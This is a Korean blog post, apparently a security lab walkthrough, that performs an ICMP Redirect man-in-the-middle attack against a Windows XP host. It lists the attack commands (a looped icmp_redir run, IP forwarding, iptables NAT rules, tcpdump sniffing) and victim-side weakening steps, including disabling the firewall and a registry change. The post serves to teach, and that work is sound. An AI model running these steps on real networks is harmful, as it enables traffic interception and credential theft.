반응형

| 결론 ICMP 리다이렉트 공격은 인증 없는 프로토콜의 취약점을 이용하여 타겟의 통신 경로를 강제로 재설정하는 공격이다. 공격자가 가로챈 패킷을 정확히 포워딩(Forwarding)하고 주소 변환(NAT)을 수행해야만 타겟이 눈치채지 못하는 완벽한 **중간자 공격(MITM)**이 성립된다 |
| 네트워크 구성 공격자: 192.168.11.36 (가짜 게이트웨이, 공격대상의 데이터를 가로챈 뒤 라우터로 전달함) 공격 대상(Win xp, 혹은 win95, 98 사용 가능): 192.168.11.7 - 공격자의 속임수에 속아 데이터를 공격자에게 보냄 라우터: 192.168.11.1 (원래 목적지. 공격자로부터 전달받은 타겟의 데이터를 외부로 보냄) 외부 목적지: 203.248.252.2 |
| 네트워크 상황 정상상황: XP(대상) -> 라우터(1.1) -> 외부(인터넷) 공격상황: 1. 가짜 경로 안내: 공격자가 ICMP Redirect(Type 5) 패킷을 타겟에 전송하여, 공격자(11.36)가 외부 서버로 가는 최적의 경로인 것처럼 속인다 # ./icmp_redir 192.168.11.1 192.168.11.7 203.248.252.2 192.168.11.36 2. 타겟의 경로 변조: 공격대상이 가짜 안내를 수용하여 자신의 호스트 라우팅 테이블을 수정 한다. 이제 모든 패킷을 공격자에게 보낸다 # tracert 203.248.252.2 - 첫 번째 줄이 기존 192.168.11.1 에서 192.168.11.36으로 나오게 됨 3. 패킷 가로채기 및 감시(스니핑) - 타겟이 보내는 패킷이 공격자의 인터페이스로 들어오기 시작함. 이를 실시간으로 확인함 # tcpdump -i eth0 icmp 4. IP 포워딩 및 NAT 가로챈 패킷을 실제 라우터로 전달하여 타겟의 통신이 끊기지 않게 함. NAT를 통해 응답 패킷도 다시 공격자를 거치게 만듬 # echo 1 > /proc/sys/net/ipv4/ip_forward # iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE |
| 실습 하기 공격자 서버(192.168.11.36) 1. 패킷 포워딩 활성화 (터미널1) # echo 1 > /proc/sys/net/ipv4/ip_forward # cat /proc/sys/net/ipv4/ip_forward 2. icmp_redir.c 파일 설정 # cd ~ # vi icmp.redir.c 열어서 파일 (메모장에서 연 내용을 복사해놓기) 내용을 붙여넣기 3. 실습용 디렉토리 생성 및 이동 # mkdir ~/security_test # cd ~/security_test 4. 컴파일 ![]() # gcc -o icmp_redir icmp_redir.c * 실행 파일 확인 (icmp_redir 가 녹색이나 굵은 글씨로 보여야 함) # chmod +x icmp_redir 5. 패킷 모니터링 (터미널1) # tcpdump -i eth0 icmp and src 192.168.11.1 - 가로챈 패킷을 버리지 않고 다시 외부 라우터로 넘겨주어 타겟의 통신이 끊기지 않게 유지 6. 공격 실행 (터미널 2) # sudo ./icmp_redir 192.168.11.1 192.168.11.7 203.248.252.2 192.168.11.36 대상(XP)아, 네가 네임서버(203.x)로 가려고 할 때, 원래 라우터(1.1)가 말하는 것처럼 꾸며서 **'공격자인 나(11.36)를 거쳐가는 게 더 빨라'**라고 거짓말을 해라." # while true; do ./icmp_redir 192.168.11.1 192.168.11.7 203.248.252.2 192.168.11.36; sleep 1; done - 무한 루프 공격 명령어 7. (터미널 3) # iptables -F # iptables -t nat -F # iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE - iptables를 이용한 주소 변환 설정 - XP의 패킷을 마치 공격자(Linux)가 보내는 패킷인 것처럼 변장시키는 과정임. 그래야 외부 서버의 응답이 다시 공격자에게 돌아오고, 공격자는 그걸 다시 XP에게 전달하며 내용을 훔쳐볼 수 있음 # sudo iptables -A FORWARD -j ACCEPT - 가로챈 패킷이 리눅스 내부 방화벽에 걸려 차단되지 않고, 외부로 무사히 통과하게 만듦 공격대상 서버 공격 프로그램만 켜놓으면 아무 일도 일어나지 않는다. 대상 PC(XP)가 외부로 데이터를 보내려고 시도해야 라우터(또는 공격자)가 "이쪽으로 가!"라고 리다이렉트 메시지를 보낸다 1. 제어판 - Windows 방화벽 - 사용 안함 클릭 ![]() 2. 제어판 - Windows 방화벽 - 고급 - IMCP 설정 - 방향 전환 허용 체크 설정 3. cmd 열고 아래 명령어를 입력(레지스트리 수정) reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" /v EnableICMPRedirects /t REG_DWORD /d 1 /f - 운영체제 커널 수준에서 리다이렉트 기능을 강제로 활성화 4. xp 재부팅 5. # ping 203.248.252.2 -t 외부 IP로 계속 핑을 보낸다 (이 패킷을 보고 라우터가 리다이렉트를 보냄) 6. tracert 203.248.252.2 명령어 로 타겟에서 목적지까지 가는 네트워크 경로상의 각 홉을 추적함 최종 확인 공격 서버 ![]() 공격 대상 서버 ![]() |
'Infra & Security Eng > Network & Security' 카테고리의 다른 글
| ARP 스푸핑을 이용한 DNS Spoofing 공격 실습과 결론_수정해야함 (0) | 2026.03.13 |
|---|---|
| while 반복문 이용하여 arp 스푸핑 공격과 평문 아이디, 비밀번호 갈취 실습, 결론 (0) | 2026.03.12 |
| ARP Redirect - ARP Spoofing, Fragrouter 을 이용한 중간자 공격(MITM) 탐지 및 패킷 분석 하기 (0) | 2026.03.12 |
| 신뢰성 있는 통신의 핵심, TCP 헤더(Header)의 9가지 주요 필드 완벽 정리 (0) | 2026.03.11 |
| ARP 스푸핑을 이용한 Telnet 평문 패킷 스니핑 및 계정 탈취 분석 (0) | 2026.03.11 |



